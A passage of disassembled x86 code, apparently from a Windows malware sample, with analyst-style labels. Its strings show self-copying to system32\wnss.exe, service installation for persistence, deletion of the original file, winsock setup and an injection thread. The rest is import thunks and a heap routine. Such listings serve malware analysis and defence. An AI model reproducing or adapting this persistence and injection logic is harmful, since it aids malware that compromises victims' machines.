		push	offset aDllStopped___ ;	"DLL stopped...\n"
		call	nullsub_2
		pop	ecx


loc_4066D7:				; CODE XREF: sub_406544+10Fj
					; sub_406544+11Cj
		call	sub_4036F6
		test	eax, eax
		jnz	short loc_40672A
		cmp	dword_411050, 0
		jz	short loc_4066FB
		push	offset dword_412970
		call	sub_407B50
		pop	ecx
		and	dword_411050, 0


loc_4066FB:				; CODE XREF: sub_406544+1A3j
		cmp	esi, [ebp+var_8]
		jle	loc_4065D0


loc_406704:				; CODE XREF: sub_406544+D3j
		push	offset aInjectionthrea ; "InjectionThread complete\n"
		call	nullsub_2
		pop	ecx
		cmp	dword_411050, 0
		jz	short loc_40672A
		push	offset dword_412970
		call	sub_407B50
		pop	ecx
		and	dword_411050, 0


loc_40672A:				; CODE XREF: sub_406544+10j
					; sub_406544+1Dj ...
		call	sub_407A60
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406544	endp


; =============== S U B	R O U T	I N E =======================================



sub_406736	proc near		; DATA XREF: sub_40592F+99o
					; sub_4067B0+56Eo ...
		push	ebx
		push	0
		push	0
		push	1
		push	0
		call	dword_411D40
		mov	dword_41296C, eax
		push	0
		push	0
		push	offset sub_406544
		call	sub_4079D0
		add	esp, 0Ch
		mov	ebx, eax
		push	0FFFFFFFFh
		mov	eax, ebx
		push	eax
		call	dword_411D34
		mov	eax, ebx
		push	eax
		call	dword_411CF8
		push	0
		push	0
		push	offset sub_40356A
		call	sub_4079D0
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	1F4h
		call	dword_411D00
		push	0
		push	0
		push	offset sub_404967
		call	sub_4079D0
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34
		pop	ebx
		retn
sub_406736	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067B0	proc near		; CODE XREF: sub_406D48+1p

var_2004	= byte ptr -2004h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_4077F0
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		xor	esi, esi
		mov	off_412958, offset aWnss ; "wnss"
		call	sub_40103C
		call	sub_401165
		call	sub_401097
		push	offset dword_413970
		call	dword_411CC8
		call	sub_401F8E
		mov	dword_412934, eax
		call	dword_411D90
		push	eax
		call	sub_40122A
		pop	ecx
		cmp	dword_411000, 4
		jnz	loc_4068EE
		push	offset aUpdate_0 ; "*update"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jnz	loc_4068EE
		call	sub_403604
		mov	[ebp+var_8], eax
		call	sub_404162
		mov	eax, dword_411018
		push	eax
		push	[ebp+var_8]
		push	offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
		call	nullsub_2
		pop	ecx
		push	1770h
		call	dword_411D00
		call	sub_40512B
		push	0FA0h
		call	dword_411D00
		call	sub_40512B
		call	sub_403685
		and	[ebp+var_C], 0
		push	dword_4128A4
		push	dword_4128B0
		push	dword_4128AC
		push	offset aNewSOldSSelfS ;	"new=<%s>, old=<%s>, self=<%s>\r\n"
		call	nullsub_2
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		push	dword_4128AC
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4068E7
		push	0
		push	1
		push	0
		push	dword_4128B0
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4068E7
		push	0
		push	1
		push	0
		push	dword_4128A4
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jz	short loc_4068EE


loc_4068E7:				; CODE XREF: sub_4067B0+105j
					; sub_4067B0+11Dj
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_4068EE:				; CODE XREF: sub_4067B0+58j
					; sub_4067B0+71j ...
		call	sub_40410E
		test	eax, eax
		jz	short loc_4068FE
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_4068FE:				; CODE XREF: sub_4067B0+145j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jz	loc_4069E1
		push	offset aCopying___ ; "copying...\n"
		call	nullsub_2
		pop	ecx
		push	80h
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	dword_411D28
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D24
		test	eax, eax
		jz	loc_4069D3
		push	7
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	dword_411D28
		lea	edi, [ebp+var_2004]
		mov	byte ptr [edi],	22h
		inc	edi
		push	dword_4128A4
		push	edi
		call	sub_407730
		pop	ecx
		pop	ecx
		push	dword_4128A4
		call	sub_407710
		pop	ecx
		add	edi, eax
		mov	byte ptr [edi],	22h
		inc	edi
		mov	byte ptr [edi],	0
		inc	edi
		lea	eax, [ebp+var_2004]
		push	eax
		push	offset aCmdlineS ; "cmdline: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_404162
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_405BE9
		pop	ecx
		test	eax, eax
		jz	short loc_4069B8
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_4069B8:				; CODE XREF: sub_4067B0+1FFj
		push	offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
		call	nullsub_2
		pop	ecx
		call	sub_40410E
		test	eax, eax
		jz	short loc_4069DE
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_4069D3:				; CODE XREF: sub_4067B0+197j
		push	offset aCopyingFailed ;	"copying failed	%%-(\n"
		call	nullsub_2
		pop	ecx


loc_4069DE:				; CODE XREF: sub_4067B0+21Aj
		xor	esi, esi
		inc	esi


loc_4069E1:				; CODE XREF: sub_4067B0+161j
		call	sub_402296
		call	sub_4058BE
		push	0
		push	0
		call	sub_4023DC
		pop	ecx
		pop	ecx
		mov	dword_411004, eax
		push	offset aInitializingWi ; "initializing winsock library...\n"
		call	nullsub_2
		pop	ecx
		call	sub_4012EC
		cmp	dword_411000, 1
		jle	loc_406AB2
		mov	eax, dword_4128A8
		cmp	byte ptr [eax],	2Ah
		jz	loc_406AB2
		push	80h
		push	dword_4128A8
		call	dword_411D28
		push	dword_4128A8
		call	dword_411D4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406A96
		push	dword_4128A8
		push	offset aRemovingS ; "removing: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	edi, 0Ah
		jmp	short loc_406A8F
; ---------------------------------------------------------------------------


loc_406A63:				; CODE XREF: sub_4067B0+2E4j
		push	80h
		push	dword_4128A8
		call	dword_411D28
		push	dword_4128A8
		call	dword_411D18
		test	eax, eax
		jnz	short loc_406A96
		push	3E8h
		call	dword_411D00


loc_406A8F:				; CODE XREF: sub_4067B0+2B1j
		dec	edi
		mov	eax, edi
		test	eax, eax
		jnz	short loc_406A63


loc_406A96:				; CODE XREF: sub_4067B0+298j
					; sub_4067B0+2D2j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406AB2
		mov	[ebp+var_4], 1


loc_406AB2:				; CODE XREF: sub_4067B0+262j
					; sub_4067B0+270j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406B10
		push	offset asc_40E58E ; "**"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406B10
		push	offset aWaiting___ ; "*** waiting...\n"
		call	nullsub_2
		pop	ecx
		mov	edi, 0Ah


loc_406AEC:				; CODE XREF: sub_4067B0+353j
		call	sub_404D77
		test	eax, eax
		jz	short loc_406B05
		push	1F4h
		call	dword_411D00
		dec	edi
		test	edi, edi
		jnz	short loc_406AEC


loc_406B05:				; CODE XREF: sub_4067B0+343j
		push	offset aWaitingComplet ; "*** waiting complete...\n"
		call	nullsub_2
		pop	ecx


loc_406B10:				; CODE XREF: sub_4067B0+315j
					; sub_4067B0+32Aj
		call	sub_404D77
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_406B69
		push	offset aNoRegisteredSe ; "no registered	service, "
		call	nullsub_2
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406B52
		mov	[ebp+var_4], 1
		push	offset aRegisterItAndR ; "register it and restart\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_406BF3
; ---------------------------------------------------------------------------


loc_406B52:				; CODE XREF: sub_4067B0+389j
		push	offset aDonTRegisterIt ; "DON'T register it\n"
		call	nullsub_2
		pop	ecx
		and	[ebp+var_4], 0
		xor	esi, esi
		inc	esi
		jmp	loc_406BF3
; ---------------------------------------------------------------------------


loc_406B69:				; CODE XREF: sub_4067B0+369j
		push	offset aRegisteredServ ; "registered service is	here...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404DC1
		test	eax, eax
		jz	short loc_406B84
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_406B84:				; CODE XREF: sub_4067B0+3CBj
		push	offset aRegisteredSe_0 ; "registered service is	not running.\n"
		call	nullsub_2
		pop	ecx
		call	sub_4040C3
		test	eax, eax
		jnz	short loc_406BF3
		push	offset aInstallingServ ; "installing service, res="
		call	nullsub_2
		pop	ecx
		call	sub_404FE9
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	offset aI	; "%i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_405170
		test	eax, eax
		jnz	short loc_406BC8
		call	sub_405246


loc_406BC8:				; CODE XREF: sub_4067B0+411j
		call	sub_404162
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404F15
		test	eax, eax
		jz	short loc_406BE8
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_406BE8:				; CODE XREF: sub_4067B0+42Fj
		push	offset aRegisteredSe_1 ; "registered service is	not running, unre"...
		call	nullsub_2
		pop	ecx


loc_406BF3:				; CODE XREF: sub_4067B0+39Dj
					; sub_4067B0+3B4j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406C34
		cmp	[ebp+var_4], 0
		jz	short loc_406C34
		test	ebx, ebx
		jnz	short loc_406C34
		push	offset aInstallingSe_0 ; "installing service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404FE9
		test	eax, eax
		jz	short loc_406C34
		push	offset aServiceInstall ; "service installed ok...\n"
		call	nullsub_2
		pop	ecx
		xor	ebx, ebx
		inc	ebx


loc_406C34:				; CODE XREF: sub_4067B0+456j
					; sub_4067B0+45Cj ...
		test	ebx, ebx
		jz	short loc_406C41
		call	sub_4040C3
		test	eax, eax
		jz	short loc_406C6B


loc_406C41:				; CODE XREF: sub_4067B0+486j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406C9B
		push	offset asc_40E58E ; "**"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406C9B


loc_406C6B:				; CODE XREF: sub_4067B0+48Fj
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404162
		call	sub_404F15
		test	eax, eax
		jz	short loc_406C8B
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_406C8B:				; CODE XREF: sub_4067B0+4D2j
		call	sub_40410E
		test	eax, eax
		jz	short loc_406C9B
		xor	eax, eax
		jmp	loc_406D41
; ---------------------------------------------------------------------------


loc_406C9B:				; CODE XREF: sub_4067B0+4A4j
					; sub_4067B0+4B9j ...
		call	sub_404D77
		test	eax, eax
		jz	short loc_406CF2
		call	sub_4040C3
		test	eax, eax
		jz	short loc_406CF2
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_406CF2
		push	offset asc_40E58E ; "**"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jz	short loc_406CF2
		push	offset aInitializingSe ; "initializing service startup sequence.."...
		call	nullsub_2
		pop	ecx
		call	sub_405B88
		test	eax, eax
		jz	short loc_406CEF
		xor	eax, eax
		jmp	short loc_406D41
; ---------------------------------------------------------------------------


loc_406CEF:				; CODE XREF: sub_4067B0+539j
		xor	esi, esi
		inc	esi


loc_406CF2:				; CODE XREF: sub_4067B0+4F2j
					; sub_4067B0+4FBj ...
		push	offset aNotDaemonized_ ; "not daemonized...\n"
		call	nullsub_2
		pop	ecx
		test	esi, esi
		jz	short loc_406D0D
		push	dword_4128A4
		call	sub_405833
		pop	ecx


loc_406D0D:				; CODE XREF: sub_4067B0+54Fj
		call	sub_40410E
		test	eax, eax
		jz	short loc_406D1A
		xor	eax, eax
		jmp	short loc_406D41
; ---------------------------------------------------------------------------


loc_406D1A:				; CODE XREF: sub_4067B0+564j
		push	0
		push	0
		push	offset sub_406736
		call	sub_4079D0
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34
		push	offset dword_40E000
		call	nullsub_2
		pop	ecx
		xor	eax, eax


loc_406D41:				; CODE XREF: sub_4067B0+139j
					; sub_4067B0+149j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4067B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_406D48	proc near		; CODE XREF: sub_407B60+C1p
		push	ebx
		call	sub_4067B0
		mov	ebx, eax
		call	sub_404162
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_406D48	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D5C	proc near		; CODE XREF: sub_40636D+1Bp
					; sub_40643C+30p
		jmp	dword_411D84
sub_406D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D62	proc near		; CODE XREF: sub_40636D+3Cp
					; sub_40643C+4Dp
		jmp	dword_411D88
sub_406D62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D68	proc near		; CODE XREF: sub_40636D+B6p
					; sub_40643C+88p
		jmp	dword_411D8C
sub_406D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D6E	proc near		; CODE XREF: sub_4012EC+1Ap
					; sub_4012EC+34p
		jmp	dword_411E88
sub_406D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D74	proc near		; CODE XREF: DMN0:00401350p
		jmp	dword_411E8C
sub_406D74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D7A	proc near		; CODE XREF: sub_401359+Bp
					; DMN0:004013DDp ...
		jmp	dword_411E90
sub_406D7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D80	proc near		; CODE XREF: sub_401359+36p
					; sub_401359+53p ...
		jmp	dword_411E94
sub_406D80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D86	proc near		; CODE XREF: sub_4014C2+4p
					; sub_402B02+152p ...
		jmp	dword_411E98
sub_406D86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D8C	proc near		; CODE XREF: sub_4014CF+56p
		jmp	dword_411E9C
sub_406D8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D92	proc near		; CODE XREF: sub_401542+11p
		jmp	dword_411EA0
sub_406D92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D98	proc near		; CODE XREF: sub_401567+28p
					; sub_4015B7+28p ...
		jmp	dword_411EA4
sub_406D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D9E	proc near		; CODE XREF: sub_401567+3Ap
		jmp	dword_411EA8
sub_406D9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DA4	proc near		; CODE XREF: sub_4015B7+3Ap
					; sub_402B02+E5p ...
		jmp	dword_411EAC
sub_406DA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DAA	proc near		; CODE XREF: sub_401607+8p
		jmp	dword_411EB0
sub_406DAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DB0	proc near		; CODE XREF: sub_401621+30p
					; sub_40166C+3Fp
		jmp	dword_411EB4
sub_406DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DB6	proc near		; CODE XREF: sub_40166C+5Fp
					; DMN0:00401844p ...
		jmp	dword_411EB8
sub_406DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DBC	proc near		; CODE XREF: sub_4016DC+17p
					; sub_401713+18p ...
		jmp	dword_411EBC
sub_406DBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DC2	proc near		; CODE XREF: sub_401787+17p
		jmp	dword_411EC0
sub_406DC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DC8	proc near		; CODE XREF: sub_4017BE+8p
					; sub_4025A9+EDp ...
		jmp	dword_411EC4
sub_406DC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DCE	proc near		; CODE XREF: sub_4017BE+1Bp
		jmp	dword_411EC8
sub_406DCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DD4	proc near		; CODE XREF: DMN0:00401827p
		jmp	dword_411ECC
sub_406DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DDA	proc near		; CODE XREF: DMN0:00401876p
		jmp	dword_411ED0
sub_406DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DE0	proc near		; CODE XREF: DMN0:00401897p
					; sub_403113+5Cp ...
		jmp	dword_411ED4
sub_406DE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DE6	proc near		; CODE XREF: sub_402B02+142p
					; sub_403113+FCp ...
		jmp	dword_411ED8
sub_406DE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DEC	proc near		; CODE XREF: sub_402B02+1DBp
					; sub_403113+16Dp ...
		jmp	dword_411EDC
sub_406DEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DF2	proc near		; CODE XREF: sub_402B02+1E4p
					; sub_403113+176p ...
		jmp	dword_411EE0
sub_406DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406DF8	proc near		; CODE XREF: sub_4030A4+23p
					; sub_4030A4+4Bp
		jmp	dword_411EE8
sub_406DF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406E00	proc near		; CODE XREF: sub_401048+15p
					; DMN0:0040110Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_0]
		mul	[esp+8+arg_4]
		mov	esi, eax
		push	esi
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_406E27
		mov	edx, ebx
		mov	ecx, esi
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx


loc_406E27:				; CODE XREF: sub_406E00+17j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_406E00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E30	proc near		; CODE XREF: sub_4071B0+59p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		test	dword ptr [ebx], 80000000h
		jnz	short loc_406E5B
		call	sub_408460
		mov	dword ptr [eax], 16h
		jmp	loc_40719D
; ---------------------------------------------------------------------------


loc_406E5B:				; CODE XREF: sub_406E30+19j
		mov	eax, [ebx]
		mov	edi, eax
		and	edi, 7FFFFFFFh
		lea	eax, [ebx-4]
		mov	[ebp+var_4], eax
		lea	ebx, [ebx+edi*4-4]
		lea	esi, [ebx+4]
		test	dword ptr [esi], 80000000h
		jnz	loc_406F0B
		mov	eax, [esi]
		lea	esi, [esi+eax*4-4]
		mov	eax, dword_4111E4
		cmp	[esi], eax
		ja	short loc_406EC0
		mov	eax, dword_4111DC
		cmp	[esi], eax
		ja	short loc_406EA8
		mov	eax, dword_4111D8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_406EBB
; ---------------------------------------------------------------------------


loc_406EA8:				; CODE XREF: sub_406E30+64j
		mov	eax, dword_4111E0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_406EBB:				; CODE XREF: sub_406E30+76j
		mov	eax, [ebp+var_10]
		jmp	short loc_406EF1
; ---------------------------------------------------------------------------


loc_406EC0:				; CODE XREF: sub_406E30+5Bj
		mov	eax, dword_4111EC
		cmp	[esi], eax
		ja	short loc_406EDE
		mov	eax, dword_4111E8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_406EF1
; ---------------------------------------------------------------------------


loc_406EDE:				; CODE XREF: sub_406E30+97j
		mov	eax, dword_4111F0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_406EF1:				; CODE XREF: sub_406E30+8Ej
					; sub_406E30+ACj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [esi]
		add	edi, eax
		mov	[esi], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	[edx+4], edi
		mov	ebx, esi


loc_406F0B:				; CODE XREF: sub_406E30+48j
		mov	eax, [ebp+var_4]
		test	dword ptr [eax], 80000000h
		jnz	loc_407037
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		add	edi, edx
		mov	edx, dword_4111E4
		cmp	[eax], edx
		ja	short loc_406F6A
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111DC
		cmp	[eax], edx
		ja	short loc_406F4E
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111D8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_406F65
; ---------------------------------------------------------------------------


loc_406F4E:				; CODE XREF: sub_406E30+106j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_406F65:				; CODE XREF: sub_406E30+11Cj
		mov	eax, [ebp+var_10]
		jmp	short loc_406FA7
; ---------------------------------------------------------------------------


loc_406F6A:				; CODE XREF: sub_406E30+F9j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111EC
		cmp	[eax], edx
		ja	short loc_406F90
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_406FA7
; ---------------------------------------------------------------------------


loc_406F90:				; CODE XREF: sub_406E30+145j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_406FA7:				; CODE XREF: sub_406E30+138j
					; sub_406E30+15Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		cmp	eax, [ebp+var_4]
		jnz	short loc_406FF2
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jnz	short loc_407029
		jmp	short loc_406FDC
; ---------------------------------------------------------------------------


loc_406FD6:				; CODE XREF: sub_406E30+1BEj
		inc	dword_4111F8


loc_406FDC:				; CODE XREF: sub_406E30+1A4j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_406FF0
		cmp	eax, 7
		jl	short loc_406FD6


loc_406FF0:				; CODE XREF: sub_406E30+1B9j
		jmp	short loc_407029
; ---------------------------------------------------------------------------


loc_406FF2:				; CODE XREF: sub_406E30+189j
		mov	eax, [ebp+var_4]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_407029
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_407029:				; CODE XREF: sub_406E30+1A2j
					; sub_406E30:loc_406FF0j ...
		mov	[ebx], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi


loc_407037:				; CODE XREF: sub_406E30+E4j
		cmp	edi, dword_4111E4
		ja	short loc_407071
		cmp	edi, dword_4111DC
		ja	short loc_407059
		mov	eax, dword_4111D8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_40706C
; ---------------------------------------------------------------------------


loc_407059:				; CODE XREF: sub_406E30+215j
		mov	eax, dword_4111E0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_40706C:				; CODE XREF: sub_406E30+227j
		mov	eax, [ebp+var_10]
		jmp	short loc_4070A1
; ---------------------------------------------------------------------------


loc_407071:				; CODE XREF: sub_406E30+20Dj
		cmp	edi, dword_4111EC
		ja	short loc_40708E
		mov	eax, dword_4111E8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4070A1
; ---------------------------------------------------------------------------


loc_40708E:				; CODE XREF: sub_406E30+247j
		mov	eax, dword_4111F0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4070A1:				; CODE XREF: sub_406E30+23Fj
					; sub_406E30+25Cj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_C], eax
		jz	loc_40719D
		cmp	[ebp+var_C], 0
		jl	short loc_407129
		mov	eax, [ebx-4]
		mov	[ebp+var_14], eax
		cmp	ebx, [ebp+var_14]
		jnz	short loc_4070F8
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_407129
		jmp	short loc_4070E2
; ---------------------------------------------------------------------------


loc_4070DC:				; CODE XREF: sub_406E30+2C4j
		inc	dword_4111F8


loc_4070E2:				; CODE XREF: sub_406E30+2AAj
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_4070F6
		cmp	eax, 7
		jl	short loc_4070DC


loc_4070F6:				; CODE XREF: sub_406E30+2BFj
		jmp	short loc_407129
; ---------------------------------------------------------------------------


loc_4070F8:				; CODE XREF: sub_406E30+28Fj
		mov	eax, [ebx-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_407129
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_407129:				; CODE XREF: sub_406E30+284j
					; sub_406E30+2A8j ...
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_40715F
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jle	short loc_407168
		mov	eax, [ebp+var_8]
		mov	dword_4111F8, eax
		jmp	short loc_407168
; ---------------------------------------------------------------------------


loc_40715F:				; CODE XREF: sub_406E30+308j
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_407168:				; CODE XREF: sub_406E30+323j
					; sub_406E30+32Dj
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
